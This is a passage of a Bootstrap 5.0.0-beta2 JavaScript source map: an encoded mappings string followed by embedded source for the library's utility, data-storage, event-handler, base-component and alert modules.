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","sourcesContent":["/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): util/index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst MAX_UID = 1000000\nconst MILLISECONDS_MULTIPLIER = 1000\nconst TRANSITION_END = 'transitionend'\n\n// Shoutout AngusCroll (https://goo.gl/pxwQGp)\nconst toType = obj => {\n if (obj === null || obj === undefined) {\n return `${obj}`\n }\n\n return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n}\n\n/**\n * --------------------------------------------------------------------------\n * Public Util Api\n * --------------------------------------------------------------------------\n */\n\nconst getUID = prefix => {\n do {\n prefix += Math.floor(Math.random() * MAX_UID)\n } while (document.getElementById(prefix))\n\n return prefix\n}\n\nconst getSelector = element => {\n let selector = element.getAttribute('data-bs-target')\n\n if (!selector || selector === '#') {\n let hrefAttr = element.getAttribute('href')\n\n // The only valid content that could double as a selector are IDs or classes,\n // so everything starting with `#` or `.`. If a \"real\" URL is used as the selector,\n // `document.querySelector` will rightfully complain it is invalid.\n // See https://github.com/twbs/bootstrap/issues/32273\n if (!hrefAttr || (!hrefAttr.includes('#') && !hrefAttr.startsWith('.'))) {\n return null\n }\n\n // Just in case some CMS puts out a full URL with the anchor appended\n if (hrefAttr.includes('#') && !hrefAttr.startsWith('#')) {\n hrefAttr = '#' + hrefAttr.split('#')[1]\n }\n\n selector = hrefAttr && hrefAttr !== '#' ? hrefAttr.trim() : null\n }\n\n return selector\n}\n\nconst getSelectorFromElement = element => {\n const selector = getSelector(element)\n\n if (selector) {\n return document.querySelector(selector) ? selector : null\n }\n\n return null\n}\n\nconst getElementFromSelector = element => {\n const selector = getSelector(element)\n\n return selector ? document.querySelector(selector) : null\n}\n\nconst getTransitionDurationFromElement = element => {\n if (!element) {\n return 0\n }\n\n // Get transition-duration of the element\n let { transitionDuration, transitionDelay } = window.getComputedStyle(element)\n\n const floatTransitionDuration = Number.parseFloat(transitionDuration)\n const floatTransitionDelay = Number.parseFloat(transitionDelay)\n\n // Return 0 if element or transition duration is not found\n if (!floatTransitionDuration && !floatTransitionDelay) {\n return 0\n }\n\n // If multiple durations are defined, take the first\n transitionDuration = transitionDuration.split(',')[0]\n transitionDelay = transitionDelay.split(',')[0]\n\n return (Number.parseFloat(transitionDuration) + Number.parseFloat(transitionDelay)) * MILLISECONDS_MULTIPLIER\n}\n\nconst triggerTransitionEnd = element => {\n element.dispatchEvent(new Event(TRANSITION_END))\n}\n\nconst isElement = obj => (obj[0] || obj).nodeType\n\nconst emulateTransitionEnd = (element, duration) => {\n let called = false\n const durationPadding = 5\n const emulatedDuration = duration + durationPadding\n\n function listener() {\n called = true\n element.removeEventListener(TRANSITION_END, listener)\n }\n\n element.addEventListener(TRANSITION_END, listener)\n setTimeout(() => {\n if (!called) {\n triggerTransitionEnd(element)\n }\n }, emulatedDuration)\n}\n\nconst typeCheckConfig = (componentName, config, configTypes) => {\n Object.keys(configTypes).forEach(property => {\n const expectedTypes = configTypes[property]\n const value = config[property]\n const valueType = value && isElement(value) ? 'element' : toType(value)\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new TypeError(\n `${componentName.toUpperCase()}: ` +\n `Option \"${property}\" provided type \"${valueType}\" ` +\n `but expected type \"${expectedTypes}\".`\n )\n }\n })\n}\n\nconst isVisible = element => {\n if (!element) {\n return false\n }\n\n if (element.style && element.parentNode && element.parentNode.style) {\n const elementStyle = getComputedStyle(element)\n const parentNodeStyle = getComputedStyle(element.parentNode)\n\n return elementStyle.display !== 'none' &&\n parentNodeStyle.display !== 'none' &&\n elementStyle.visibility !== 'hidden'\n }\n\n return false\n}\n\nconst findShadowRoot = element => {\n if (!document.documentElement.attachShadow) {\n return null\n }\n\n // Can find the shadow root otherwise it'll return the document\n if (typeof element.getRootNode === 'function') {\n const root = element.getRootNode()\n return root instanceof ShadowRoot ? root : null\n }\n\n if (element instanceof ShadowRoot) {\n return element\n }\n\n // when we don't find a shadow root\n if (!element.parentNode) {\n return null\n }\n\n return findShadowRoot(element.parentNode)\n}\n\nconst noop = () => function () {}\n\nconst reflow = element => element.offsetHeight\n\nconst getjQuery = () => {\n const { jQuery } = window\n\n if (jQuery && !document.body.hasAttribute('data-bs-no-jquery')) {\n return jQuery\n }\n\n return null\n}\n\nconst onDOMContentLoaded = callback => {\n if (document.readyState === 'loading') {\n document.addEventListener('DOMContentLoaded', callback)\n } else {\n callback()\n }\n}\n\nconst isRTL = document.documentElement.dir === 'rtl'\n\nconst defineJQueryPlugin = (name, plugin) => {\n onDOMContentLoaded(() => {\n const $ = getjQuery()\n /* istanbul ignore if */\n if ($) {\n const JQUERY_NO_CONFLICT = $.fn[name]\n $.fn[name] = plugin.jQueryInterface\n $.fn[name].Constructor = plugin\n $.fn[name].noConflict = () => {\n $.fn[name] = JQUERY_NO_CONFLICT\n return plugin.jQueryInterface\n }\n }\n })\n}\n\nexport {\n getUID,\n getSelectorFromElement,\n getElementFromSelector,\n getTransitionDurationFromElement,\n triggerTransitionEnd,\n isElement,\n emulateTransitionEnd,\n typeCheckConfig,\n isVisible,\n findShadowRoot,\n noop,\n reflow,\n getjQuery,\n onDOMContentLoaded,\n isRTL,\n defineJQueryPlugin\n}\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): dom/data.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst mapData = (() => {\n const storeData = {}\n let id = 1\n return {\n set(element, key, data) {\n if (typeof element.bsKey === 'undefined') {\n element.bsKey = {\n key,\n id\n }\n id++\n }\n\n storeData[element.bsKey.id] = data\n },\n get(element, key) {\n if (!element || typeof element.bsKey === 'undefined') {\n return null\n }\n\n const keyProperties = element.bsKey\n if (keyProperties.key === key) {\n return storeData[keyProperties.id]\n }\n\n return null\n },\n delete(element, key) {\n if (typeof element.bsKey === 'undefined') {\n return\n }\n\n const keyProperties = element.bsKey\n if (keyProperties.key === key) {\n delete storeData[keyProperties.id]\n delete element.bsKey\n }\n }\n }\n})()\n\nconst Data = {\n setData(instance, key, data) {\n mapData.set(instance, key, data)\n },\n getData(instance, key) {\n return mapData.get(instance, key)\n },\n removeData(instance, key) {\n mapData.delete(instance, key)\n }\n}\n\nexport default Data\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): dom/event-handler.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { getjQuery } from '../util/index'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst namespaceRegex = /[^.]*(?=\\..*)\\.|.*/\nconst stripNameRegex = /\\..*/\nconst stripUidRegex = /::\\d+$/\nconst eventRegistry = {} // Events storage\nlet uidEvent = 1\nconst customEvents = {\n mouseenter: 'mouseover',\n mouseleave: 'mouseout'\n}\nconst nativeEvents = new Set([\n 'click',\n 'dblclick',\n 'mouseup',\n 'mousedown',\n 'contextmenu',\n 'mousewheel',\n 'DOMMouseScroll',\n 'mouseover',\n 'mouseout',\n 'mousemove',\n 'selectstart',\n 'selectend',\n 'keydown',\n 'keypress',\n 'keyup',\n 'orientationchange',\n 'touchstart',\n 'touchmove',\n 'touchend',\n 'touchcancel',\n 'pointerdown',\n 'pointermove',\n 'pointerup',\n 'pointerleave',\n 'pointercancel',\n 'gesturestart',\n 'gesturechange',\n 'gestureend',\n 'focus',\n 'blur',\n 'change',\n 'reset',\n 'select',\n 'submit',\n 'focusin',\n 'focusout',\n 'load',\n 'unload',\n 'beforeunload',\n 'resize',\n 'move',\n 'DOMContentLoaded',\n 'readystatechange',\n 'error',\n 'abort',\n 'scroll'\n])\n\n/**\n * ------------------------------------------------------------------------\n * Private methods\n * ------------------------------------------------------------------------\n */\n\nfunction getUidEvent(element, uid) {\n return (uid && `${uid}::${uidEvent++}`) || element.uidEvent || uidEvent++\n}\n\nfunction getEvent(element) {\n const uid = getUidEvent(element)\n\n element.uidEvent = uid\n eventRegistry[uid] = eventRegistry[uid] || {}\n\n return eventRegistry[uid]\n}\n\nfunction bootstrapHandler(element, fn) {\n return function handler(event) {\n event.delegateTarget = element\n\n if (handler.oneOff) {\n EventHandler.off(element, event.type, fn)\n }\n\n return fn.apply(element, [event])\n }\n}\n\nfunction bootstrapDelegationHandler(element, selector, fn) {\n return function handler(event) {\n const domElements = element.querySelectorAll(selector)\n\n for (let { target } = event; target && target !== this; target = target.parentNode) {\n for (let i = domElements.length; i--;) {\n if (domElements[i] === target) {\n event.delegateTarget = target\n\n if (handler.oneOff) {\n // eslint-disable-next-line unicorn/consistent-destructuring\n EventHandler.off(element, event.type, fn)\n }\n\n return fn.apply(target, [event])\n }\n }\n }\n\n // To please ESLint\n return null\n }\n}\n\nfunction findHandler(events, handler, delegationSelector = null) {\n const uidEventList = Object.keys(events)\n\n for (let i = 0, len = uidEventList.length; i < len; i++) {\n const event = events[uidEventList[i]]\n\n if (event.originalHandler === handler && event.delegationSelector === delegationSelector) {\n return event\n }\n }\n\n return null\n}\n\nfunction normalizeParams(originalTypeEvent, handler, delegationFn) {\n const delegation = typeof handler === 'string'\n const originalHandler = delegation ? delegationFn : handler\n\n // allow to get the native events from namespaced events ('click.bs.button' --> 'click')\n let typeEvent = originalTypeEvent.replace(stripNameRegex, '')\n const custom = customEvents[typeEvent]\n\n if (custom) {\n typeEvent = custom\n }\n\n const isNative = nativeEvents.has(typeEvent)\n\n if (!isNative) {\n typeEvent = originalTypeEvent\n }\n\n return [delegation, originalHandler, typeEvent]\n}\n\nfunction addHandler(element, originalTypeEvent, handler, delegationFn, oneOff) {\n if (typeof originalTypeEvent !== 'string' || !element) {\n return\n }\n\n if (!handler) {\n handler = delegationFn\n delegationFn = null\n }\n\n const [delegation, originalHandler, typeEvent] = normalizeParams(originalTypeEvent, handler, delegationFn)\n const events = getEvent(element)\n const handlers = events[typeEvent] || (events[typeEvent] = {})\n const previousFn = findHandler(handlers, originalHandler, delegation ? handler : null)\n\n if (previousFn) {\n previousFn.oneOff = previousFn.oneOff && oneOff\n\n return\n }\n\n const uid = getUidEvent(originalHandler, originalTypeEvent.replace(namespaceRegex, ''))\n const fn = delegation ?\n bootstrapDelegationHandler(element, handler, delegationFn) :\n bootstrapHandler(element, handler)\n\n fn.delegationSelector = delegation ? handler : null\n fn.originalHandler = originalHandler\n fn.oneOff = oneOff\n fn.uidEvent = uid\n handlers[uid] = fn\n\n element.addEventListener(typeEvent, fn, delegation)\n}\n\nfunction removeHandler(element, events, typeEvent, handler, delegationSelector) {\n const fn = findHandler(events[typeEvent], handler, delegationSelector)\n\n if (!fn) {\n return\n }\n\n element.removeEventListener(typeEvent, fn, Boolean(delegationSelector))\n delete events[typeEvent][fn.uidEvent]\n}\n\nfunction removeNamespacedHandlers(element, events, typeEvent, namespace) {\n const storeElementEvent = events[typeEvent] || {}\n\n Object.keys(storeElementEvent).forEach(handlerKey => {\n if (handlerKey.includes(namespace)) {\n const event = storeElementEvent[handlerKey]\n\n removeHandler(element, events, typeEvent, event.originalHandler, event.delegationSelector)\n }\n })\n}\n\nconst EventHandler = {\n on(element, event, handler, delegationFn) {\n addHandler(element, event, handler, delegationFn, false)\n },\n\n one(element, event, handler, delegationFn) {\n addHandler(element, event, handler, delegationFn, true)\n },\n\n off(element, originalTypeEvent, handler, delegationFn) {\n if (typeof originalTypeEvent !== 'string' || !element) {\n return\n }\n\n const [delegation, originalHandler, typeEvent] = normalizeParams(originalTypeEvent, handler, delegationFn)\n const inNamespace = typeEvent !== originalTypeEvent\n const events = getEvent(element)\n const isNamespace = originalTypeEvent.startsWith('.')\n\n if (typeof originalHandler !== 'undefined') {\n // Simplest case: handler is passed, remove that listener ONLY.\n if (!events || !events[typeEvent]) {\n return\n }\n\n removeHandler(element, events, typeEvent, originalHandler, delegation ? handler : null)\n return\n }\n\n if (isNamespace) {\n Object.keys(events).forEach(elementEvent => {\n removeNamespacedHandlers(element, events, elementEvent, originalTypeEvent.slice(1))\n })\n }\n\n const storeElementEvent = events[typeEvent] || {}\n Object.keys(storeElementEvent).forEach(keyHandlers => {\n const handlerKey = keyHandlers.replace(stripUidRegex, '')\n\n if (!inNamespace || originalTypeEvent.includes(handlerKey)) {\n const event = storeElementEvent[keyHandlers]\n\n removeHandler(element, events, typeEvent, event.originalHandler, event.delegationSelector)\n }\n })\n },\n\n trigger(element, event, args) {\n if (typeof event !== 'string' || !element) {\n return null\n }\n\n const $ = getjQuery()\n const typeEvent = event.replace(stripNameRegex, '')\n const inNamespace = event !== typeEvent\n const isNative = nativeEvents.has(typeEvent)\n\n let jQueryEvent\n let bubbles = true\n let nativeDispatch = true\n let defaultPrevented = false\n let evt = null\n\n if (inNamespace && $) {\n jQueryEvent = $.Event(event, args)\n\n $(element).trigger(jQueryEvent)\n bubbles = !jQueryEvent.isPropagationStopped()\n nativeDispatch = !jQueryEvent.isImmediatePropagationStopped()\n defaultPrevented = jQueryEvent.isDefaultPrevented()\n }\n\n if (isNative) {\n evt = document.createEvent('HTMLEvents')\n evt.initEvent(typeEvent, bubbles, true)\n } else {\n evt = new CustomEvent(event, {\n bubbles,\n cancelable: true\n })\n }\n\n // merge custom information in our event\n if (typeof args !== 'undefined') {\n Object.keys(args).forEach(key => {\n Object.defineProperty(evt, key, {\n get() {\n return args[key]\n }\n })\n })\n }\n\n if (defaultPrevented) {\n evt.preventDefault()\n }\n\n if (nativeDispatch) {\n element.dispatchEvent(evt)\n }\n\n if (evt.defaultPrevented && typeof jQueryEvent !== 'undefined') {\n jQueryEvent.preventDefault()\n }\n\n return evt\n }\n}\n\nexport default EventHandler\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): base-component.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport Data from './dom/data'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst VERSION = '5.0.0-beta2'\n\nclass BaseComponent {\n constructor(element) {\n if (!element) {\n return\n }\n\n this._element = element\n Data.setData(element, this.constructor.DATA_KEY, this)\n }\n\n dispose() {\n Data.removeData(this._element, this.constructor.DATA_KEY)\n this._element = null\n }\n\n /** Static */\n\n static getInstance(element) {\n return Data.getData(element, this.DATA_KEY)\n }\n\n static get VERSION() {\n return VERSION\n }\n}\n\nexport default BaseComponent\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n emulateTransitionEnd,\n getElementFromSelector,\n getTransitionDurationFromElement\n} from './util/index'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'alert'\nconst DATA_KEY = 'bs.alert'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst SELECTOR_DISMISS = 